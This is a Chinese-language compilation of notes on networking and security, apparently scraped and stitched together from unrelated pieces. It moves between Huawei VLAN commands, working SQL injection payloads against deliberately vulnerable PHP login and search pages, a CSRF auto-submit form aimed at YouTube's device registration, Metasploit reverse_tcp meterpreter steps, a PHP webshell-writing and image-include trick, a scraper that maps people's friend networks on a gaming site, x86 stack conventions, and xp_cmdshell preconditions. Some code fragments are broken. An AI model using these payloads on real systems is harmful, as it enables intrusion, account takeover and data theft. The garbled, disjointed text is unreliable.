<Huawei>        用户模式,权限比较低，做不了太多的事情。

[Huawei]            系统模式，

system-view        进入系统模式

display interface brief            查看所有的端口信息

display mac-address dynamic            查看mac地址表

dis int Ethernet  0/0/1                        查看0/0/1端口下的详细情况

display current-configuration             查看当前全局配置   缩写命令：display cu

1）	隔离域冲突和广播域，解决广播风暴。这是划分VLAN最大的好处。

2）	出于安全的考虑，不同的VLAN成员之间在没有三层路由的前提下是不能互相访问的。

3）	管理灵活：当一个用户需要切换到另外一个网络的时候，只需要更改switch和VLAN划分即可，而不用换端口和连线。

1、给四个PC机配置IP地址。

2、将连接PC的端口配置成为access

      int e0/0/1

        port link-type access    指定端口模式为access模式

        quit                     退出当前端口

3、创建，划分VLAN，相应的端口划分进相应的VLAN.   

        VLAN 10

        des SALES

        port e0/0/1

        port e0/0/3        创建VLAN10，描述信息为SALES，并将e0/0/1和e0/0/3划分进VLAN10

        VLAN 20

        des CAIWU

        port e0/0/2

        port e0/0/4        创建VLAN20，描述信息为CAIWU，并将e0/0/2和e0/0/4划分进VLAN10

4、display vlan    查看vlan信息，观察哪些端口划分进哪些VLAN。

$sql="select * from user where password like '%$pwd%' order by password";

'and 1=1 and '%'='

select * from user where password like '%fendo'and 1=1 and '%'='%' order by password

1 搜索keywords‘，如果出错的话，有90%的可能性存在漏洞；



2 搜索 keywords%，如果同样出错的话，就有95%的可能性存在漏洞；



3 搜索keywords% 'and 1=1 and '%'='（这个语句的功能就相当于普通SQL注入的 and 1=1）看返回的情况



4 搜索keywords% 'and 1=2 and '%'='（这个语句的功能就相当于普通SQL注入的 and 1=2）看返回的情况



5 根据两次的返回情况来判断是不是搜索型文本框注入了

'and 1=1 and '%'='



%' and 1=1--'



%' and 1=1 and '%'='

    <?

    $pwd=$_GET['pwd'];

    $conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库

    if($conn){

    	echo "连接数据库成功!"; 

    }//判断连接是否成功

    echo "<br>";

    mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库（fendo）

    $sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句

    $result=mysql_query($sql);

    while($row = mysql_fetch_array($result)){ 

    	echo "用户ID：".$row['id']."<br >";

    	echo "用户名：".$row['username']."<br >";

    	echo "用户密码：".$row['password']."<br >";

    	echo "用户邮箱：".$row['email']."<br >";

    }

    mysql_close($conn); //关闭数据库连接

    echo "<hr>";

    echo "你当前执行的sql语句为："."<br >";

    echo $sql;

    ?>

%' union select 1,2,3,4,...... and '%'='

  %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='

%'and(select count(*)from admin)>0 and '%'='

<?  



//--------------------------post处理--------------------------------//  



$name=addslashes($_POST['n']);   



$pass=addslashes($_POST['p']);  



$conn = mysql_connect('127.0.0.1','root','123');   



if($conn){  



    echo "mysql连接成功";  



    echo "<hr>";    



}  



mysql_select_db('fendo',$conn);    



$sql="select * from user where username='$name' and password='$pass'";  



$result=mysql_query($sql);  



mysql_close($conn);  



while($row = mysql_fetch_array($result)){  



    echo "用户ID：".$row['id']."<br >";  



    echo "用户名：".$row['username']."<br >";  



    echo "用户密码：".$row['password']."<br >";  



}  



echo "当前执行的sql语句：".$sql;  



?>  



 



<form action="" method="POST">  



账号：<input name="n" type="text" /><br><br>  



密码：<input name="p" type="text" /><br><br>  



<input name="" type="submit" value="提交" />  



 



</form>  

' or 1=1#  

' order by 4#  

'or 1=1 union select 1,2,3,4 #  

'or 1=1 union select username,password,3,4 from user#   

1.你们之间有共同朋友或存在相互朋友关系，这也是建立这种可能认识关系的最根本原因；
2.你们在同一个Facebook群组中，或是在同一张照片中被标记过；
3.另外就是你们通过同一个网络出口（学校、单位）登录过Facebook账户。

https://www.facebook.com/friends/requests/?fcref=swpsa

[code]curl ‘https://www.facebook.com/gettingstarted/?step=friend_requests' -H ‘authority: www.facebook.com' -H ‘referer: https://www.facebook.com/gettingstarted/' -H ‘cookie: xxxx’ — compressed

[size=15]

POST /notifications_ajax?action_register_device=1 HTTP/1.1

Host: www.youtube.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://www.youtube.com/sw.js

Content-Type: multipart/form-data; boundary=---------------------------41184676334

Origin: https://www.youtube.com

Content-Length: 1459

Connection: close

Cookie: duh, cookies!

-----------------------------41184676334

Content-Disposition: form-data; name="endpoint"



https://updates.push.services.mozilla.com/wpush/v1/gAAA...



-----------------------------41184676334

Content-Disposition: form-data; name="device_id"

dbe8453d99714c6160994fdf5bb3c59332df04278a...

-----------------------------41184676334

Content-Disposition: form-data; name="p256dh_key"

BBNVkVOt6tpY1KvJJqtLvqt...

-----------------------------41184676334

Content-Disposition: form-data; name="auth_key"

V5-_lh6nYT2zoY...

-----------------------------41184676334

Content-Disposition: form-data; name="permission"

granted

-----------------------------41184676334--

<!DOCTYPE html>

<html>

<head>

    <meta charset="utf-8" />

    <meta http-equiv="X-UA-Compatible" content="IE=edge">

    <title>Push Demo</title>

    <meta name="viewport" content="width=device-width, initial-scale=1">

    <link rel="stylesheet" type="text/css" media="screen" href="index.css" />

    <script src="index.js"></script>

</head>

<body>

    <h1>Hello World</h1>

    <button id="permission-btn" onclick="main()">Ask Permission</button>

</body>

</html>



index.js：





const check = () => {

  if (!('serviceWorker' in navigator)) {

    throw new Error('No Service Worker support!')

  }

  if (!('PushManager' in window)) {

    throw new Error('No Push API Support!')

  }

}

const registerServiceWorker = async () => {

  const swRegistration = await navigator.serviceWorker.register('sw.js')

  return swRegistration

}

const requestNotificationPermission = async () => {

  const permission = await window.Notification.requestPermission()

  if (permission !== 'granted') {

    throw new Error('Permission not granted for Notification')

  }

}

const main = async () => {

  check()

  const swRegistration = await registerServiceWorker()

  const permission = await requestNotificationPermission()

}

sw.js：



self.addEventListener('activate', async () => {   console.log("Hello");

      self.registration.pushManager.subscribe()

  .then(function(subscription) {

          console.log(JSON.stringify(subscription));

  })

  .catch(function(e) {

    console.log(e);

  });

})

self.addEventListener("push", function(event) {

  if (event.data) {

    console.log("Push event!! ", event.data.text());

    showLocalNotification("Yolo", event.data.text(),  self.registration);

  } else {

    console.log("Push event but no data");

  }

});

const showLocalNotification = (title, body, swRegistration) => {

  const options = {

    body

    // here you can add more properties like icon, image, vibrate, etc.

  };

  swRegistration.showNotification(title, options);

};

<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">

        <input type="text" name="device_id" value="replace">

        <input type="text" name="permission" value="granted">

                <input type="text" name="endpoint" value="replace">

                <input type="text" name="p256dh_key" value="replace=">

                <input type="text" name="auth_key" value="replace">

        <input type="submit">

        <script type="text/javascript">document.csrf.submit();</script>

</form>

1. 设置目标机ip,set RHOST 192.168.1.175
2. 设置对面网站，set HttpHost 192.168.1.175
3. 设置返回载荷，set payload windows/meterpreter/reverse_tcp
4. 设置攻击机ip，set LHOST 192.168.1.144
5. 进行溢出，exploit

1.<? echo 1; ?> 

2.<?php echo 2; ?> 

3. <script language="php"> echo 3; </script>

<script language="php"> phpinfo();</script>

<?php$test='大马代码';//访问这个文件大马的代码将被写入网站的根目录

2.php下 （路径phpinfo得到）file_put_contents("/home/www/webdata/epage/2.php",

$test);

<script language="php">include '../ezfiles/2/1002/img/92/123.jpg';

//上传的图片地址</script>

注：全文所指的“安全圈”是一个非常狭义的概念，在本文中仅覆盖到小部分安全从业者玩家，所以标题有些夸大。如有其他错误也欢迎指出。 

1.确定一个初始的ID链表，并保证初始链表内都是安全圈内人士。
2.遍历初始链表内每一位玩家的所有好友。
3.当链表内H的好友J，同时也是链表内另外两位黑客的共同好友，那么认为J也是安全圈内人士，加入到链表尾处。
4.向后迭代重复2、3。

def r_get(nickname,offset):

#发送给api的request

...



    return json#返回一个json格式



def get_friends(nickname):



    offset  = 0 

    res_js = r_get(nickname,str(offset))

    temp_friends = res_js['result']['board']

    if res_js['status'] == "ok":

        while len(res_js['result']['board']) == 30:

            offset = offset + 30

            res_js = r_get(nickname,str(offset))

            temp_friends = temp_friends + res_js['result']['board']

        print("   {0}   的好友人数    {1}".format(res_js['result']['user_rank']['nickname'], len(temp_friends) -1 ))

        friends = 

        Wxname  = ""

        Wxsex = ""

        Wxavatar  = ""

        sql = ""

        for playerinfo in temp_friends:

            if playerinfo['nickname'] != res_js['result']['user_rank']['nickname']:

                friends.append(playerinfo['nickname'])

            elif playerinfo.has_key('heybox_info') == True:

                Wxname = playerinfo['heybox_info']['username']

                Wxsex = playerinfo['heybox_info']['sex']

                Wxavatar = playerinfo['heybox_info']['avartar']

        friends_s = ','.join(friends) 



        sql = "INSERT INTO player (nickname,avatar,steamID,friends,Wxname,Wxsex,Wxavatar) \

              VALUES ('{0}','{1}','{2}','{3}','{4}','{5}','{6}')".format(res_js['result']['user_rank']['nickname'],res_js['result']['user_rank']['avatar'], res_js['result']['user_rank']['steam_id'],friends_s,Wxname,Wxsex,Wxavatar)

        return friends,sql      

    else:

        print("获取{0}的好友人数失败, 返回{1}".format(res_js['result']['user_rank']['nickname'],res_js['msg']))

        return 1 



def record_rds(sql):

    #db操作



def main():

   ...

# -*- coding: UTF-8-*-  

from pyecharts import Graph



import json



import sys 



import sqlite3



conn = sqlite3.connect('db2.db')



c = conn.cursor()



print "Opened database successfully";



cursor = c.execute("SELECT nickname,friends FROM player")



nodes = 



links = 



temps = 



for row in cursor:



    temps.append({"name":row[0],"friends":row[1].split(",")})  



    nodes.append({"name":row[0],"symbolSize":5})



for temp in temps:



    for friend in temp["friends"]:



        if {"name":friend,"symbolSize":5} in nodes:



            links.append({"source":temp["name"],"target":friend})



graph = Graph("力导图",width=1400,height=1600)



graph.add(



    "",



    nodes,



    links,



    graph_layout = "force",



    label_pos="right",



    graph_repulsion=10,



    line_curve=0.2,



)



graph.render()

社区发现算法用来发现网络中的社区结构，多数是聚类类型的算法。使用社区发现算法可以帮助我们发现联系相对紧密的社区，从而帮助我们把安全圈和其他圈子的人分割开来。

1.历史最高Rank，即最高段位
2.最近20场游戏的平均排名
3.最近20场的吃鸡数和前10数
4.最近20场游戏的击杀总数
5.最近20场游戏造成的总伤害

1.最近20场的武器使用情况
2.最近20场的死亡地点
3.最近20场的游戏总时长

KD：8.4
伤害：1099.57

KD：3.7
伤害：461.18

Salmonnnnn：4094.7144
syzhou：3906.409
ph4nt0mer：3609.1436

1. 函数参数的传递方式，比如参数是存放在寄存器中还是栈中。
2. 参数的传递顺序，是从右向左传递还是从左向右传递。
3. 调用者处理栈环境还是被调用者处理栈环境。

push par2                       参数2入栈

push par1                       参数1入栈

call test    

    

push ebp                        调用开始，ebp入栈，保护现场

mov ebp esp                     使新的 ebp 指针指向栈顶

mov eax, dword ptr [ebp+0c]     调用参数2

mov ebx, dword ptr [ebp+08]     调用参数1

sub esp,8                       如果函数要使用局部变量，申请新的栈空间

......

add esp,8                       释放局部变量占用的栈空间

pop ebp                         恢复调用前的 ebp 指针

ret 8                           返回并清理栈

push ebp 



mov ebp,esp

sub esp,xxx

add esp，xxx

pop ebp

void fun(float,int,float,int)

1. 序号：Seq序号，占32位，用来标识从TCP源端向目的端发送的字节流，发起方发送数据时对此进行标记。
2. 确认序号：Ack序号，占32位，只有ACK标志位为1时，确认序号字段才有效，Ack=Seq+1。
3. 标位：共6个，即URG、ACK、PSH、RST、SYN、FIN等，具体含义如下：

• URG：紧急指针（urgent pointer）有效。
• ACK：确认序号有效。
• PSH：接收方应该尽快将这个报文交给应用层。
• RST：重置连接。
• SYN：发起一个新连接。
• FIN：释放一个连接。

• 不要将确认序号Ack与标志位中的ACK搞混了。
• 确认方Ack=发起方Req+1，两端配对

• 第一次挥手：Client发送一个FIN，用来关闭Client到Server的数据传送，Client进入FIN_WAIT_1状态。
• 第二次挥手：Server收到FIN后，发送一个ACK给Client，确认序号为收到序号+1（与SYN相同，一个FIN占用一个序号），Server进入CLOSE_WAIT状态。
• 第三次挥手：Server发送一个FIN，用来关闭Server到Client的数据传送，Server进入LAST_ACK状态。
• 第四次挥手：Client收到FIN后，Client进入TIME_WAIT状态，接着发送一个ACK给Server，确认序号为收到序号+1，Server进入CLOSED状态，完成四次挥手。

1. getshell或者存在sql注入并且能够执行命令。
2. sql server是system权限（默认权限），因为xp_cmdshell默认在mssql2000中是开启的，在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。